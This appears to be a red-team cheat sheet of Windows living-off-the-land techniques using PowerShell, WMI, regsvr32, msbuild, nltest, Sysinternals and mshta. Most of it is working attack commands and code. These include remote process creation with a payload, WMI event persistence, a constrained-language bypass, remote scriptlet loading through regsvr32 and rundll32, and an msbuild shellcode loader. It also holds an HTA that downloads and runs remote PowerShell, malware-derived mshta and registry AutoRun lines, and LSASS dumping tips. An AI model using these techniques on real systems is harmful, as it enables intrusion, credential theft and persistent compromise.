LOTL techniques
Resources
- https://lolol.farm/
- https://lolad-project.github.io/
- https://tldrbins.github.io/
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a
- https://www.cisa.gov/sites/default/files/2025-03/Joint-Guidance-Identifying-and-Mitigating-LOTL508.pdf
- https://www.youtube.com/watch?v=j-r6UonEkUw
Powershell
- Determining Installed Versions:
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\PowerShell\*\PowerShellEngine -Name PowerShellVersion).PowerShellVersion
- List all of the variables in your current scope:
Get-ChildItem Variable:\
- bypass exec policy
- https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/
Abusing Alternate Signed PowerShell Hosts
Some binaries that can execute powershell.
Most application whitelisting policies will allow anything signed by Microsoft to run except tools know to be used for abuse.
- Characteristic 1: These binaries are almost always C#/.NET .exes/.dlls
- Characteristic 2: These binaries have System.Management.Automation.dll as a referenced assembly
- Characteristic 3: These may not always be “built in” binaries
Objectives:
- Determine what command line arguments it accepts
- Determine the conditions required to have it execute code.
- Bonus: Determine a way to have it execute code in a non-admin context.
- Search for these files
ls C:\Windows\* -Recurse -Directory -ErrorAction SilentlyContinue | % {
try {
$_.FullName | ls -File -ErrorAction SilentlyContinue | ? { ($_.Extension -eq '.dll') -or ($_.Extension -eq '.exe') } | % {
try {
$Assembly = [Reflection.Assembly]::ReflectionOnlyLoadFrom($_.FullName)
if ($Assembly.GetReferencedAssemblies().Name -contains 'System.Management.Automantion') {
$_.FullName
}
} catch { }
}
} catch { }
}
WMI (enumeration, execution …)
recon wmic.exe and PS
- OS Specifics
wmic computersystem LIST full
Get-WmiObject -Class win32_operatingsystem | fl *
- Anti-Virus
wmic /namespace:\\root\securitycenter2 path antivirusproduct
Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct
Get-WmiObject -Class Win32_Service -Filter 'Name = "WinDefend"'
- List Users Accounts
wmic USERACCOUNT Get Domain,Name,Sid
Get-WmiObject -Class win32_useraccount
- Installed updates
wmic gfe list brief
- File search
wmic DATAFILE where "drive='C:' AND Name like '%password%'" GET Name,readable,size /VALUE
- Enable RDP!
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
- Utilizes the “Create” method of the Win32_Process class
wmic /node:target.domain process call create
"C:\Windows\System32\cmd.exe /c payload.exe”
- Association Query
- List all running processes that have wldp.dll loaded
Get-WmiObject -Query 'ASSOCIATORS OF {CIM_DataFile.Name="c:\\windows\\system32\\wldp.dll"} WHERE AssocClass=CIM_ProcessExecutable'
- List all running processes that have wldp.dll loaded
Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" AND Path="\\Windows\\System32\\" AND (Name="C:\\Windows\\System32\\wldp.dll")' -Property Name | Get-CimAssociatedInstance -Association CIM_ProcessExecutable
- List members of the local administrator group
Get-CimInstance -ClassName Win32_Group -Filter 'SID = "S-1-5-32-544"' | Get-CimAssociatedInstance -ResultClassName Win32_Account
- When using a Golden Ticket with wmic.exe:
wmic /authority:”kerberos:CORP\WIN8WORKSTATION” /node:target.domain process call create "C:\Windows\System32\cmd.exe /c payload.exe”
WMI Scripts
- https://gist.github.com/mattifestation/2828e33c4fe9655fd907
-
https://gist.github.com/mattifestation/bf9af6fbafd0c421455cd62693edcb7a
- List process associated with a user. Only list users that have processes associated with them.
Get-CimInstance -ClassName Win32_Account | ForEach-Object {
$AccountName = $_.Name
# association graph to figure these association names out.
$AssociatedProcesses = Get-CimAssociatedInstance -InputObject $_ -Association Win32_LoggedOnUser | Get-CimAssociatedInstance -Association Win32_SessionProcess
# Don't bother listing users that don't have associated processes
if ($AssociatedProcesses) {
[PSCustomObject] @{ Account = $AccountName; Processes = $AssociatedProcesses }
}
}
-
WMI persistence
-
more in https://geleiaa.github.io/2025/06/23/winpersist/#wmi-events
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'DriveChanged'
Query = 'SELECT * FROM Win32_VolumeChangeEvent'
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineConsumerArgs = @{
Name = 'Infector'
CommandLineTemplate = "powershell.exe -NoP -C`"[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt`""
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
$FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer }
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
- hidden cmd
$VideoController = Get-CimInstance -ClassName Win32_VideoController -Property VideoModeDescription
$ScreenWidth, $ScreenHeight = [UInt32[]] $VideoController.VideoModeDescription.Split(' x ', [StringSplitOptions]::RemoveEmptyEntries)[0..1]
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{
FillAttribute = ([UInt32] 256)
Title = ''
X = $ScreenWidth
Y = $ScreenHeight
ShowWindow = ([UInt16] 0)
}
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = 'cmd.exe' <==== mal cmd
ProcessStartupInformation = $StartParams
}
- runscripthelper.exe to execute code from a folder you control as a non-elevated user
# Place the payload you want to execute in C:\Test\Microsoft\Diagnosis\scripts\evil.txt
# The filename can be any name and extension you want. It doesn't have to be .ps1. Hehe.
# This PoC is also a constrained language mode bypass...
# Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
# Attacker-controlled %ProgramData% being passed to the child process.
$AllEnvVarsExceptLockdownPolicy += 'ProgramData=C:\Test'
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{
EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy
}
# Give runscripthelper.exe what it needs to execute our malicious PowerShell.
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = 'C:\Windows\System32\runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\evil.txt C:\Test'
ProcessStartupInformation = $StartParams
}
- https://attack.mitre.org/techniques/T1047/
- https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4
- https://github.com/myexploit/living_off_the_land
- https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands
- https://github.com/lutzenfried/Methodology/blob/main/08-%20WMI%204%20Attackers.md
regsvr32.exe
- https://attack.mitre.org/techniques/T1218/010/
- Used to register certain dll components or COM scriptlets
- Includes a flag that accepts a COM scriptlet from a remote URL
- It is a trusted, proxy aware Microsoft application
- https://subt0x10.blogspot.ru/2016/08/advanced-use-case-for-sct-files.html
run .sct file
regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
run .dll
regsvr32 /s scrobj.dll
you can change file extension from .dll or .sct to .jpg
regsvr32 /s /n /u /i:http://host/file.jpg scrobj.dll
Regsvr32 blocked?
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication"; eval("var%20CADOject;CADObject%20=%20GetObject(\"script:http://hostfile.sct\");CADObject.Exec();window.close()");
msbuild.exe
- https://attack.mitre.org/techniques/T1127/001/
-
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ A signed Microsoft binary that allows you to perform “Inline Tasks”. These are bits of C# that are meant to “enrich the build process” End result: can take an XML file, and compile/execute it in memory!
- http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html
- https://github.com/3gstudent/msbuild-inline-task
msbuild.exe file.xml
msbuild.exe file.csproj
- Empire invoke msbuild
- csproj file example
- xml file example ```xml
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[195] {};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
# nltest.exe
- [https://attack.mitre.org/software/S0359/](https://attack.mitre.org/software/S0359/)
Query for all domain controllers in a given domain, along with their IP addresses and roles:
```nltest /dsgetdc:<DOMAIN>```
```nltest /domain_trusts /all_trusts```
```nltest /domain_trusts /all_trusts /v```
Return trusts for a trusted foreign domain, first listing DC:
```nltest /dclist:dev.testlab.local```
```nltest /server:secondary.dev.testlab.local /domain_trusts /all_trust```
# Sysinternals
Separate administration tools released (and signed!) by Microsoft. Commonly used by real administrators, so gives us a chance to blend with normal activity. These can be run straight from their live webdav server:
```PsExec64.exe -accepteula```
```accesschk.exe/accesschk64.exe``` - privilege escalation
```psexec.exe/PsExec64.exe``` - lateral movement
```ADExplorer.exe``` - can export with ```-snapshot <DC> <local file>```
```procdump.exe/procdump64.exe``` - dump process memory (like LSASS!)
# MSHTA (script execution and initial access)
- [https://attack.mitre.org/versions/v14/techniques/T1218/005/](https://attack.mitre.org/versions/v14/techniques/T1218/005/)
- [https://lolbas-project.github.io/lolbas/Binaries/Mshta/](https://lolbas-project.github.io/lolbas/Binaries/Mshta/)
#### HTA base file
```html
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
Download some file
- attention to the strings
mshta.exe about:'<scriptlanguage=\"vbscript\" src=\"hxxp://110.10.179(.)65:80/download/microsoftp.jpg\">code close</script>'
LNK file that executes this command chain
- The command will move the LNK file into the %TEMP% folder and run mshta.exe to load the malicious HTA script from the given URL…
- https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
%SYSTEM32%\forfiles.exe /m "{name of decoy document}.lnk" /c "cmd /c echo f|xcopy @file %temp%\{random name}.tmp&for /r c:\windows\system32\ %i in (*sht*.exe) do %i [URL of HTA file}"
Registry persistence and download second-stage
reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "powershell.exe start-process -windowstyle hidden -filepath mshta.exe https://bit-albania[.]com/[REDACTED]/Drfwj.hta" /f